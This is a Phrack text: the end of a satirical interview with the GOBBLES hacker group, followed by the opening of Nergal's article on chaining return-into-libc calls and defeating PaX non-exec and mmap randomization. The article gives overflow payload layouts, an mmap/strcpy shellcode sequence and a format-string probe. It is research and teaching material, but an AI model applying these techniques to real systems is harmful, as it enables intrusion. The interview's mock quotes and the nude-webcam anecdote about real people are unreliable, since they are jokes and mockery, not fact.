How can Gobbles Security be reached (email? sms? irl? irc?)

GOBBLES Security can be reached at group email addrses on hushmail.com which is GOBBLES@hushmail.com, if anyone ever need to contact us about anything that be the place to do it from. As far as where one can find GOBBLES irl (that mean "in real life" for penetrators), GOBBLES originally from Lithuania but now live in a place with a little more stable economy. Some GOBBLES Security members do live in same country and then they frequent GOBBLES Labs location to do hardcore hacking and programming all day long.

When and where have you been born ?

GOBBLES himself was born during year of 1979 in country of Lithuania, but not born as GOBBLES, hehe (that not real name ;), but real name shouldn't be of real concern anywhere though, so that do not matter. GOBBLES was born into computer security industry scene as GOBBLES during the month of June in the year of 2001 and currently have plans of being immortal in this field and living forever.

Is there any picture available of Gobbles Security on the internet ?

GOBBLES Security is more concerned with finding all exploitable bugs and letting the world know about them than they are with worrying about taking time to update webpage and get it pretty looking, although making webpage pretty and finish is becoming a higher GOBBLES priority due to demands of our many fans who email saying, "Please friend GOBBLES, finish webpage!"

Where does Gobbles Security live (current location) ?

To respect privacy of GOBBLES Security and members GOBBLES does not want to give out physical location of GOBBLES Labs or the IP addresses (that IP mean internet protocol, for penetrators needing translation). Website of GOBBLES where information is fully disclosed is on bugtraq.org though.

To which kind of music does Gobbles Security listen ?

Right now the multiple cd player jukebox in GOBBLES Labs have cd's (compact disc for penetrator confusing cd with chdir) from following bands and artists:

‑Radiohead

‑Tori Amos

‑The Violent Femmes

‑KMFDM

‑Goo Goo Dolls

‑Savage Garden

‑The Djali Zwan

‑Dmitri Shostakovich

‑Smashing Pumpkins

‑Ace of Base

‑They Might Be Giants

‑Various Disney Soundtracks and Sing‑a‑long's

so you get an idea of different genre's that are liked by people who occupy GOBBLES Labs facility, hehe.

Does Gobbles Security like the movies 'Chicken run' and/or was any relative actively involved in the movie ?

GOBBLES didn't really understand movie on his own, and consensus from other group members is that the movie was not very good. GOBBLES spent the whole movie trying to identify celebrities with they cartoon characters instead of paying close attention to complex plot, so it can be understood why GOBBLES didn't really follow and understand the story of that movie.

How many employees does 'Gobbles Security' currently have ?

GOBBLES Security is not a for‑profit group and does not have any income or employees. Everyone who come to GOBBLES Labs to do coding and exploit bring own computers and materials and alcohol, there is no money involved so there are not any employees. GOBBLES Labs have 19 active members and researchers. With 18+ members, GOBBLES Labs is currently the largest active non‑profit security team in the world (that not private and exclusive with research, of course there is larger private group in existance that GOBBLES not ignorant of). Unlike other groups that make this claim, GOBBLES Labs is actually active, hehe.

Are there stocks available from 'Gobbles Security' ?

Hehe, no, because remember we not a commercial organisation? =) GOBBLES believe that security should not be huge commercial entity anyways and miss the days when people who were knowledgable about security were respected and looked to for security information rather than people with certification like CISSP who qualified to use Nessus in corporate environment and notify they companies of updates on cert.org website.

Is there any buisiness plan (current projects ?) of Gobbles Security for 2002 ?

GOBBLES have no business plan, since GOBBLES Security is not a business, just more of a club, and GOBBLES hope to keep it that way forever. If the big dollar is ever waived in GOBBLES face like happen to other good non‑profit security group, GOBBLES will refuse to snatch it and keep GOBBLES Labs independant and free always.

Where did Gobbles Security learn english ?

GOBBLES Security is a multinational group and members have learned they English in many different places, some speak it natively, or at least American which is very similar to English from what GOBBLES can deduce. GOBBLES learn English from Extreme Calculus professor in university who say to GOBBLES, "GOBBLES if you to go anywhere in life, you must learn to speak English, here I will help." That is true story of how GOBBLES learn to speak this wonderful language, hehe.

Have you heard of anti‑security and what is your opinion to http://anti.security.is ?

Yes GOBBLES have seen they website before and read message board very frequently. GOBBLES think anti.security.is have many good ideas on security, since it seem that sometimes disclosure is not best since all it really do is contribute to system being comprimised. GOBBLES recall reading somewhere that still only 30% of servers are patched for CORE‑SDI ssh backdoor still, and that known almost for a year now, so sometimes GOBBLES wonder why disclosure is even done in the first place if no one really pay attention to advisory and fix security. However this is not the policy of GOBBLES Security who are firm supporters of Information Anarchy and Jay Dyson's quote "Real men prefer full disclosure", although some GOBBLES researchers are very loyal to anti.security.is philosophy which is why you do not see all exploits written by GOBBLES Security members since we respect they wishes. GOBBLES have many respect for ideals of anti.security.is and often wonders what really is best to improve state of security on the Internet, but still he decide that it is Information Anarchy.

What does Gobbles Security think about Theo de Raadt ?

GOBBLES think Theo is silly individual who think brilliant research and revelation of removing machine from network make it secure from network based attacks and therefor inpenetrable, because then what is the real use of that workstation when it not on a network and can't access anything? GOBBLES think Theo attempt to banish all networking in name of security is idiotic idea and GOBBLES really not a big fan of his for this sorts of things.

And about Aleph1 and bugtraq ?

The Aleph1 is old friend of GOBBLES (but not someone the Aleph1 know as GOBBLES, hehe) and is someone that GOBBLES very much likes. In question GOBBLES assume that bugtraq == securityfocus.com, so that how GOBBLES shall answer the question. GOBBLES not a very big fan of securityfocus itself for way it do delayed disclosure, for way it claim to be full disclosure, but then make people have to pay to see good advisories first (holding information hostage probably not best practice for full disclosure), for filtering important security advisories because advisories have comments in that hurt pride of securityfocus staff member. If it were real intentions of securityfocus to help in security process, GOBBLES think that they would pass important advisories through, but know from experience that many will be filtered for silly reason. When securityfocus say, "hey, we will run mailing lists" they should have also let everyone know that they had intention of profitting off list and selling information rather than keeping them in original form, GOBBLES is bothered by level of deceit there. But as for does GOBBLES like the Aleph1, the answer is YES, GOBBLES do like the Aleph1. In fact GOBBLES have open invitation to him (and mudge and dildog) to leave they high paying jobs and the dark side of the force to join back where they know they want to be, in they hearts, back in the real security community where you don't have to shave you beard and give out real name; always extra room for them as members in GOBBLES Security if they ever decide to reform.

Does Gobbles Security consider other groups like ADM, LSD, TESO as competitors or as friends ?

GOBBLES Security think of those group as brothers and sisters, not as competitors.

In which way will Gobbles Security infuence the scene in the future ?

Well GOBBLES have the hope of helping rebirth of real security scene where the world can know who the people are who have real security knowledge are not the point and click penetrator testers and patch applicators who make the big dollar, and hopefully someday in future there will be not so much commercialization of computer security and thing can return back to normal and the scene can exist again once more.

Write down 'Memorable Experiences':

One time #GOBBLES on irc was taken over by prominant irc takeover gang which is very memorable experience for the whole GOBBLES Security Crew. Some things that stuck with GOBBLES from incident include:

<route> gogogogo

<route> OK, newsh fork over the opz

<route> word

<route> ok listen up motherfuckerz

<route> u will get yer chan back when i see fit

<route> mmkay?

<route> now, who'z the fuckwit who insulted me in that yahoo messenger advisory?

<route> you mess with libnet, you mess with death motherfuckerz!

[ note by phrackstaff: The above log isn't from the real route. ]

Other very memorable experience was last week at GOBBLES Labs where Alicia became over intoxicated by alcohol from boxed wine (speaking of alcohol, Mr. Huger promise to bring GOBBLES back some good wine from he Canada trip, GOBBLES better get it Al!) during exploit coding session and then took off all her clothes. Needless to say male GOBBLES members were embarassed at the mess they made. GOBBLES swear this true story, not just humor, even some pictures of naked Alicia captured on webcam broadcast with tcpdump soon to be made into mpeg, hehe!

Write down some Quotes:

"Opensource software has a future."

‑Sir William Gates

"What goes around comes around."

‑Anonymous

"That vulnerability is completly TheoRaadtical."

‑Microsoft

"A preauthentication bug in OpenSSH? Who hasn't found one of those?" ‑OpenSSH Developer

"No I wasn't caught on video jerking off at defcon 9!"

‑Peter Shipley

"If one XOR is good TWICE IS BETTER."

‑Peiter Zatko

In closing GOBBLES would like to thank Phrack and Phrack Staff for awarding GOBBLES this Man of the Year Award, GOBBLES very flattered to not only be nominated but also to be winner of award! GOBBLES LOVE YOU!

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Advanced return-into-lib(c) exploits (PaX case study)

==Phrack Inc.==

Volume 0x0b, Issue 0x3a, Phile #0x04 of 0x0e

|=‑‑‑‑‑‑‑‑‑‑‑‑=[ The advanced return‑into‑lib(c) exploits: ]=‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ PaX case study ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by Nergal <nergal@owl.openwall.com> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

May this night carry my will

And may these old mountains forever remember this night

May the forest whisper my name

And may the storm bring these words to the end of all worlds

Ihsahn, "Alsvartr"

‑‑[ 1 ‑ Intro

1 ‑ Intro

2 ‑ Classical return‑into‑libc

3 ‑ Chaining return‑into‑libc calls

3.1 ‑ Problems with the classical approach

3.2 ‑ "esp lifting" method

3.3 ‑ frame faking

3.4 ‑ Inserting null bytes

3.5 ‑ Summary

3.6 ‑ The sample code

4 ‑ PaX features

4.1 ‑ PaX basics

4.2 ‑ PaX and return‑into‑lib exploits

4.3 ‑ PaX and mmap base randomization

5 ‑ The dynamic linker's dl‑resolve() function

5.1 ‑ A few ELF data types

5.2 ‑ A few ELF data structures

5.3 ‑ How dl‑resolve() is called from PLT

5.4 ‑ The conclusion

6 ‑ Defeating PaX

6.1 ‑ Requirements

6.2 ‑ Building the exploit

7 ‑ Misc

7.1 ‑ Portability

7.2 ‑ Other types of vulnerabilities

7.3 ‑ Other non‑exec solutions

7.4 ‑ Improving existing non‑exec schemes

7.5 ‑ The versions used

8 ‑ Referenced publications and projects

This article can be roughly divided into two parts. First, the advanced return‑into‑lib(c) techniques are described. Some of the presented ideas, or rather similar ones, have already been published by others. However, the available pieces of information are dispersed, usually platform‑specific, somewhat limited, and the accompanying source code is not instructive enough (or at all). Therefore I have decided to assemble the available bits and a few of my thoughts into a single document, which should be useful as a convenient reference. Judging by the contents of many posts on security lists, the presented information is by no means the common knowledge.

The second part is devoted to methods of bypassing PaX in case of stack buffer overflow (other types of vulnerabilities are discussed at the end). The recent PaX improvements, namely randomization of addresses the stack and the libraries are mmapped at, pose an untrivial challenge for an exploit coder. An original technique of calling directly the dynamic linker's symbol resolution procedure is presented. This method is very generic and the conditions required for successful exploitation are usually satisfied.

Because PaX is Intel platform specific, the sample source code has been prepared for Linux i386 glibc systems. PaX is not considered sufficiently stable by most people; however, the presented techniques (described for Linux on i386 case) should be portable to other OSes/architectures and can be possibly used to evade other non‑executability schemes, including ones implemented by hardware.

The reader is supposed to possess the knowledge on standard exploit techniques. Articles [1] and [2] should probably be assimilated before further reading. [12] contains a practical description of ELF internals.

‑‑[ 2 ‑ Classical return‑into‑libc

The classical return‑into‑libc technique is well described in [2], so just a short summary here. This method is most commonly used to evade protection offered by the non‑executable stack. Instead of returning into code located within the stack, the vulnerable function should return into a memory area occupied by a dynamic library. It can be achieved by overflowing a stack buffer with the following payload:

<‑ stack grows this way

addresses grow this way ‑>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| buffer fill‑up(*)| function_in_lib | dummy_int32 | arg_1 | arg_2 | ...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

^

|

‑ this int32 should overwrite saved return address of a vulnerable function

(*) buffer fill‑up should overwrite saved %ebp placeholder as well, if the latter is used

When the function containing the overflown buffer returns, the execution will resume at function_in_lib, which should be the address of a library function. From this function's point of view, dummy_int32 will be the return address, and arg_1, arg_2 and the following words ‑ the arguments. Typically, function_in_lib will be the libc system() function address, and arg_1 will point to "/bin/sh".

‑‑[ 3 ‑ Chaining return‑into‑libc calls

‑‑‑‑[ 3.1 ‑ Problems with the classical approach

The previous technique has two essential limitations. First, it is impossible to call another function, which requires arguments, after function_in_lib. Why ? When the function_in_lib returns, the execution will resume at address dummy_int32. Well, it can be another library function, yet its arguments would have to occupy the same place that function_in_lib's argument does. Sometimes this is not a problem (see [3] for a generic example).

Observe that the need for more than one function call is frequent. If a vulnerable application temporarily drops privileges (for example, a setuid application can do seteuid(getuid())), an exploit must regain privileges (with a call to setuid(something) usually) before calling system().

The second limitation is that the arguments to function_in_lib cannot contain null bytes (in case of a typical overflow caused by string manipulation routines). There are two methods to chain multiple library calls.

‑‑‑‑[ 3.2 ‑ "esp lifting" method

This method is designed for attacking binaries compiled with ‑fomit‑frame‑pointer flag. In such case, the typical function epilogue looks this way:

eplg:

addl $LOCAL_VARS_SIZE,%esp

ret

Suppose f1 and f2 are addresses of functions located in a library. We build the following overflow string (I have skipped buffer fill‑up to save space):

<‑ stack grows this way

addresses grow this way ‑>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| f1 | eplg | f1_arg1 | f1_arg2 | ... | f1_argn| PAD | f2 | dmm | f2_args...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

^ ^

| |

| | <‑‑‑‑‑‑‑‑‑LOCAL_VARS_SIZE‑‑‑‑‑‑‑‑‑‑‑‑‑>|

|

|‑‑ this int32 should overwrite return address of a vulnerable function

PAD is a padding (consisting of irrelevant nonzero bytes), whose length, added to the amount of space occupied by f1's arguments, should equal LOCAL_VARS_SIZE.

How does it work ? The vulnerable function will return into f1, which will see arguments f1_arg, f1_arg2 etc ‑ OK. f1 will return into eplg. The "addl $LOCAL_VARS_SIZE,%esp" instruction will move the stack pointer by LOCAL_VARS_SIZE, so that it will point to the place where f2 address is stored. The "ret" instruction will return into f2, which will see arguments f2_args. Voila. We called two functions in a row.

The similar technique was shown in [5]. Instead of returning into a standard function epilogue, one has to find the following sequence of instructions in a program (or library) image:

pop‑ret:

popl any_register

ret

Such a sequence may be created as a result of a compiler optimization of a standard epilogue. It is pretty common.

Now, we can construct the following payload:

<‑ stack grows this way

addresses grow this way ‑>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| buffer fill‑up | f1 | pop‑ret | f1_arg | f2 | dmm | f2_arg1 | f2_arg2 ...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

^

|

‑ this int32 should overwrite return address of a vulnerable function

It works very similarly to the previous example. Instead of moving the stack pointer by LOCAL_VARS_SIZE, we move it by 4 bytes with the "popl any_register" instruction. Therefore, all arguments passed to f1 can occupy at most 4 bytes. If we found a sequence

pop‑ret2:

popl any_register_1

popl any_register_2

ret

then we could pass to f1 two arguments of 4 bytes size each.

The problem with the latter technique is that it is usually impossible to find a "pop‑ret" sequence with more than three pops. Therefore, from now on we will use only the previous variation.

In [6] one can find similar ideas, unfortunately with some errors and chaoticly explained.

Note that we can chain an arbitrary number of functions this way. Another note: observe that we do not need to know the exact location of our payload (that is, we don't need to know the exact value of the stack pointer). Of course, if any of the called functions requires a pointer as an argument, and if this pointer should point within our payload, we will need to know its location.

‑‑‑‑[ 3.3 ‑ frame faking (see [4])

This second technique is designed to attack programs compiled _without_ ‑fomit‑frame‑pointer option. An epilogue of a function in such a binary looks like this:

leaveret:

leave

ret

Regardless of optimization level used, gcc will always prepend "ret" with "leave". Therefore, we will not find in such binary an useful "esp lifting" sequence (but see later the end of 3.5).

In fact, sometimes the libgcc.a archive contains objects compiled with ‑fomit‑frame‑pointer option. During compilation, libgcc.a is linked into an executable by default. Therefore it is possible that a few "add $imm, %esp; ret" sequences can be found in an executable. However, we will not %rely on this gcc feature, as it depends on too many factors (gcc version, compiler options used and others).

Instead of returning into "esp lifting" sequence, we will return into "leaveret". The overflow payload will consist of logically separated parts; usually, the exploit code will place them adjacently.

<‑ stack grows this way

addresses grow this way ‑>

saved FP saved vuln. function's return address

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| buffer fill‑up(*) | fake_ebp0 | leaveret |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ (*) this time, buffer fill‑up must not

| overwrite the saved frame pointer !

v

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| fake_ebp1 | f1 | leaveret | f1_arg1 | f1_arg2 ...

‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| the first frame

+‑+

|

v

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| fake_ebp2 | f2 | leaveret | f2_arg1 | f2_argv2 ...

‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| the second frame

+‑‑ ...

fake_ebp0 should be the address of the "first frame", fake_ebp1 ‑ the address of the second frame, etc.

Now, some imagination is needed to visualize the flow of execution. 1) The vulnerable function's epilogue (that is, leave;ret) puts fake_ebp0 into %ebp and returns into leaveret.

2) The next 2 instructions (leave;ret) put fake_ebp1 into %ebp and return into f1. f1 sees appropriate arguments.

3) f1 executes, then returns.

Steps 2) and 3) repeat, substitute f1 for f2,f3,...,fn.

In [4] returning into a function epilogue is not used. Instead, the author proposed the following. The stack should be prepared so that the code would return into the place just after F's prologue, not into the function F itself. This works very similarly to the presented solution. However, we will soon face the situation when F is reachable only via PLT. In such case, it is impossible to return into the address F+something; only the technique presented here will work. (BTW, PLT acronym means "procedure linkage table". This term will be referenced a few times more; if it does not sound familiar, have a look at the beginning of [3] for a quick introduction or at [12] for a more systematic description).

Note that in order to use this technique, one must know the precise location of fake frames, because fake_ebp fields must be set accordingly. If all the frames are located after the buffer fill‑up, then one must know the value of %esp after the overflow. However, if we manage somehow to put fake frames into a known location in memory (in a static variable preferably), there is no need to guess the stack pointer value.

There is a possibility to use this technique against programs compiled with ‑fomit‑frame‑pointer. In such case, we won't find leave&ret code sequence in the program code, but usually it can be found in the startup routines (from crtbegin.o) linked with the program. Also, we must change the "zeroth" chunk to

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| buffer fill‑up(*) | leaveret | fake_ebp0 | leaveret |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

^

|

|‑‑ this int32 should overwrite return address

of a vulnerable function

Two leaverets are required, because the vulnerable function will not set up %ebp for us on return. As the "fake frames" method has some advantages over "esp lifting", sometimes it is necessary to use this trick even when attacking a binary compiled with ‑fomit‑frame‑pointer.

‑‑‑‑[ 3.4 ‑ Inserting null bytes

One problem remains: passing to a function an argument which contains 0. But when multiple function calls are available, there is a simple solution. The first few called functions should insert 0s into the place occupied by the parameters to the next functions.

Strcpy is the most generic function which can be used. Its second argument should point to the null byte (located at some fixed place, probably in the program image), and the first argument should point to the byte which is to be nullified. So, thus we can nullify a single byte per a function call. If there is need to zero a few int32 location, perhaps other solutions will be more space‑effective. For example, sprintf(some_writable_addr,"%n%n%n%n",ptr1, ptr2, ptr3, ptr4); will nullify a byte at some_writable_addr and nullify int32 locations at ptr1, ptr2, ptr3, ptr4. Many other functions can be used for this purpose, scanf being one of them (see [5]).

Note that this trick solves one potential problem. If all libraries are mmapped at addresses which contain 0 (as in the case of Solar Designer non‑exec stack patch), we can't return into a library directly, because we can't pass null bytes in the overflow payload. But if strcpy (or sprintf, see [3]) is used by the attacked program, there will be the appropriate PLT entry, which we can use. The first few calls should be the calls to strcpy (precisely, to its PLT entry), which will nullify not the bytes in the function's parameters, but the bytes in the function address itself. After this preparation, we can call arbitrary functions from libraries again.

‑‑‑‑[ 3.5 ‑ Summary

Both presented methods are similar. The idea is to return from a called function not directly into the next one, but into some function epilogue, which will adjust the stack pointer accordingly (possibly with the help of the frame pointer), and transfer the control to the next function in the chain.

In both cases we looked for an appropriate epilogue in the executable body. Usually, we may use epilogues of library functions as well. However, sometimes the library image is not directly reachable. One such case has already been mentioned (libraries can be mmapped at addresses which contain a null byte), we will face another case soon. Executable's image is not position independent, it must be mmapped at a fixed location (in case of Linux, at 0x08048000), so we may safely return into it.

‑‑‑‑[ 3.6 ‑ The sample code

The attached files, ex‑move.c and ex‑frames.c, are the exploits for vuln.c program. The exploits chain a few strcpy calls and a mmap call. The additional explanations are given in the following chapter (see 4.2); anyway, one can use these files as templates for creating return‑into‑lib exploits.

‑‑[ 4 ‑ PaX features

‑‑‑‑[ 4.1 ‑ PaX basics

If you have never heard of PaX Linux kernel patch, you are advised to visit the project homepage [7]. Below there are a few quotations from the PaX documentation.

"this document discusses the possibility of implementing non‑executable pages for IA‑32 processors (i.e. pages which user mode code can read or write, but cannot execute code in). since the processor's native page table/directory entry format has no provision for such a feature, it is a non‑trivial task."

"[...] there is a desire to provide some sort of programmatic way for protecting against buffer overflow based attacks. one such idea is the implementation of non‑executable pages which eliminates the possibility of executing code in pages which are supposed to hold data only[...]"

"[...] possible to write [kernel mode] code which will cause an inconsistent state in the DTLB and ITLB entries.[...] this very same mechanism would allow for creating another kind of inconsistent state where only data read/write accesses would be allowed and code execution prohibited. and this is what is needed for protecting against (many) buffer overflow based attacks."

To sum up, a buffer overflow exploit usually tries to run code smuggled within some data passed to the attacked process. The main PaX functionality is to disallow execution of all data areas ‑ thus PaX renders typical exploit techniques useless.

‑‑[ 4.2 ‑ PaX and return‑into‑lib exploits

Initially, non‑executable data areas was the only feature of PaX. As you may have already guessed, it is not enough to stop return‑into‑lib exploits. Such exploits run code located within libraries or binary itself the perfectly "legitimate" code. Using techniques described in chapter 3, one is able to run multiple library functions, which is usually more than enough to take advantage of the exploited program's privileges.

Even worse, the following code will run successfully on a PaX protected system:

char shellcode[] = "arbitrary code here"; mmap(0xaa011000, some_length, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANON, ‑1, some_offset); strcpy(0xaa011000+1, shellcode);

return into 0xaa011000+1;

A quick explanation: mmap call will allocate a memory region at 0xaa011000. It is not related to any file object, thanks to the MAP_ANON flag, combined with the file descriptor equal to ‑1. The code located at 0xaa011000 can be executed even on PaX (because PROT_EXEC was set in mmap arguments). As we see, the arbitrary code placed in "shellcode" will be executed.

Time for code examples. The attached file vuln.c is a simple program with an obvious stack overflow. Compile it with:

$ gcc ‑o vuln‑omit ‑fomit‑frame‑pointer vuln.c

$ gcc ‑o vuln vuln.c

The attached files, ex‑move.c and ex‑frames.c, are the exploits for vuln‑omit and vuln binaries, respectively. Exploits attempt to run a sequence of strcpy() and mmap() calls. Consult the comments in the README.code for further instructions.

If you plan to test these exploits on a system protected with recent version of PaX, you have to disable randomizing of mmap base with

$ chpax ‑r vuln; chpax ‑r vuln‑omit

‑‑‑‑[ 4.3 ‑ PaX and mmap base randomization

In order to combat return‑into‑lib(c) exploits, a cute feature was added to PaX. If the appropriate option (CONFIG_PAX_RANDMMAP) is set during kernel configuration, the first loaded library will be mmapped at random location (next libraries will be mmapped after the first one). The same applies to the stack. The first library will be mmapped at 0x40000000+random*4k, the stack top will be equal to 0xc0000000‑random*16; in both cases, "random" is a pseudo random unsigned 16‑bit integer, obtained with a call to get_random_bytes(), which yields cryptographically strong data.

One can test this behavior by running twice "ldd some_binary" command or executing "cat /proc/$$/maps" from within two invocations of a shell. Under PaX, the two calls yield different results:

nergal@behemoth 8 > ash

$ cat /proc/$$/maps

08048000‑08058000 r‑xp 00000000 03:45 77590 /bin/ash 08058000‑08059000 rw‑p 0000f000 03:45 77590 /bin/ash 08059000‑0805c000 rw‑p 00000000 00:00 0

4b150000‑4b166000 r‑xp 00000000 03:45 107760 /lib/ld‑2.1.92.so 4b166000‑4b167000 rw‑p 00015000 03:45 107760 /lib/ld‑2.1.92.so 4b167000‑4b168000 rw‑p 00000000 00:00 0

4b16e000‑4b289000 r‑xp 00000000 03:45 107767 /lib/libc‑2.1.92.so 4b289000‑4b28f000 rw‑p 0011a000 03:45 107767 /lib/libc‑2.1.92.so 4b28f000‑4b293000 rw‑p 00000000 00:00 0

bff78000‑bff7b000 rw‑p ffffe000 00:00 0

$ exit

nergal@behemoth 9 > ash

$ cat /proc/$$/maps

08048000‑08058000 r‑xp 00000000 03:45 77590 /bin/ash 08058000‑08059000 rw‑p 0000f000 03:45 77590 /bin/ash 08059000‑0805c000 rw‑p 00000000 00:00 0

48b07000‑48b1d000 r‑xp 00000000 03:45 107760 /lib/ld‑2.1.92.so 48b1d000‑48b1e000 rw‑p 00015000 03:45 107760 /lib/ld‑2.1.92.so 48b1e000‑48b1f000 rw‑p 00000000 00:00 0

48b25000‑48c40000 r‑xp 00000000 03:45 107767 /lib/libc‑2.1.92.so 48c40000‑48c46000 rw‑p 0011a000 03:45 107767 /lib/libc‑2.1.92.so 48c46000‑48c4a000 rw‑p 00000000 00:00 0

bff76000‑bff79000 rw‑p ffffe000 00:00 0

CONFIG_PAX_RANDMMAP feature makes it impossible to simply return into a library. The address of a particular function will be different each time a binary is run.

This feature has some obvious weaknesses; some of them can (and should be) fixed:

1) In case of a local exploit the addresses the libraries and the stack are mmapped at can be obtained from the world‑readable /proc/pid_of_attacked_process/maps pseudofile. If the data overflowing the buffer can be prepared and passed to the victim after the victim process has started, an attacker has all information required to construct the overflow data. For example, if the overflowing data comes from program arguments or environment, a local attacker loses; if the data comes from some I/O operation (socket, file read usually), the local attacker wins. Solution: restrict access to /proc files, just like it is done in many other security patches.

2) One can bruteforce the mmap base. Usually (see the end of 6.1) it is enough to guess the libc base. After a few tens of thousands tries, an attacker has a fair chance of guessing right. Sure, each failed attempt is logged, but even large amount of logs at 2 am prevent nothing :) Solution: deploy segvguard [8]. It is a daemon which is notified by the kernel each time a process crashes with SIGSEGV or similar. Segvguard is able to temporarily disable execution of programs (which prevents bruteforcing), and has a few interesting features more. It is worth to use it even without PaX.

3) The information on the library and stack addresses can leak due to format bugs. For example, in case of wuftpd vulnerability, one could explore the stack with the command

site exec [eat stack]%x.%x.%x...

The automatic variables' pointers buried in the stack will reveal the stack base. The dynamic linker and libc startup routines leave on the stack some pointers (and return addresses) to the library objects, so it is possible to deduce the libraries base as well.

4) Sometimes, one can find a suitable function in an attacked binary (which is not position‑independent and can't be mmapped randomly). For example, "su" has a function (called after successful authentication) which acquires root privileges and executes a shell ‑ nothing more is needed.

5) All library functions used by a vulnerable program can be called via their PLT entry. Just like the binary, PLT must be present at a fixed address. Vulnerable programs are usually large and call many functions, so there is some probability of finding interesting stuff in PLT.

In fact only the last three problems cannot be fixed, and none of them is guaranteed to manifest in a manner allowing successful exploitation (the fourth is very rare). We certainly need more generic methods.

In the following chapter I will describe the interface to the dynamic linker's dl‑resolve() function. If it is passed appropriate arguments, one of them being an asciiz string holding a function name, it will determine the actual function address. This functionality is similar to dlsym() function. Using the dl‑resolve() function, we are able to build a return‑into‑lib exploit, which will return into a function, whose address is not known at exploit's build time. [12] also describes a method of acquiring a function address by its name, but the presented technique is useless for our purposes.

‑‑[ 5 ‑ The dynamic linker's dl‑resolve() function

This chapter is simplified as much as possible. For the detailed description, see [9] and glibc sources, especially the file dl‑runtime.c. See also [12].

‑‑‑‑[ 5.1 ‑ A few ELF data types

The following definitions are taken from the include file elf.h:

typedef uint32_t Elf32_Addr;

typedef uint32_t Elf32_Word;

typedef struct

{

Elf32_Addr r_offset; /* Address */

Elf32_Word r_info; /* Relocation type and symbol index */

} Elf32_Rel;

/* How to extract and insert information held in the r_info field. */

#define ELF32_R_SYM(val) ((val) >> 8)

#define ELF32_R_TYPE(val) ((val) & 0xff)

typedef struct

{

Elf32_Word st_name; /* Symbol name (string tbl index) */

Elf32_Addr st_value; /* Symbol value */

Elf32_Word st_size; /* Symbol size */

unsigned char st_info; /* Symbol type and binding */

unsigned char st_other; /* Symbol visibility under glibc>=2.2 */

Elf32_Section st_shndx; /* Section index */

} Elf32_Sym;

The fields st_size, st_info and st_shndx are not used during symbol resolution.

‑‑‑‑[ 5.2 ‑ A few ELF data structures

The ELF executable file contains a few data structures (arrays mainly) which are of some interest for us. The location of these structures can be retrieved from the executable's dynamic section. "objdump ‑x file" will display the contents of the dynamic section:

$ objdump ‑x some_executable

... some other interesting stuff...

Dynamic Section:

...

STRTAB 0x80484f8 the location of string table (type char *) SYMTAB 0x8048268 the location of symbol table (type Elf32_Sym*) ....

JMPREL 0x8048750 the location of table of relocation entries related to PLT (type Elf32_Rel*)

...

VERSYM 0x80486a4 the location of array of version table indices (type uint16_t*)

"objdump ‑x" will also reveal the location of .plt section, 0x08048894 in the example below:

11 .plt 00000230 08048894 08048894 00000894 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE

‑‑‑‑[ 5.3 ‑ How dl‑resolve() is called from PLT

A typical PLT entry (when elf format is elf32‑i386) looks this way:

(gdb) disas some_func

Dump of assembler code for function some_func:

0x804xxx4 <some_func>: jmp *some_func_dyn_reloc_entry 0x804xxxa <some_func+6>: push $reloc_offset

0x804xxxf <some_func+11>: jmp beginning_of_.plt_section

PLT entries differ only by $reloc_offset value (and the value of some_func_dyn_reloc_entry, but the latter is not used for the symbol resolution algorithm).

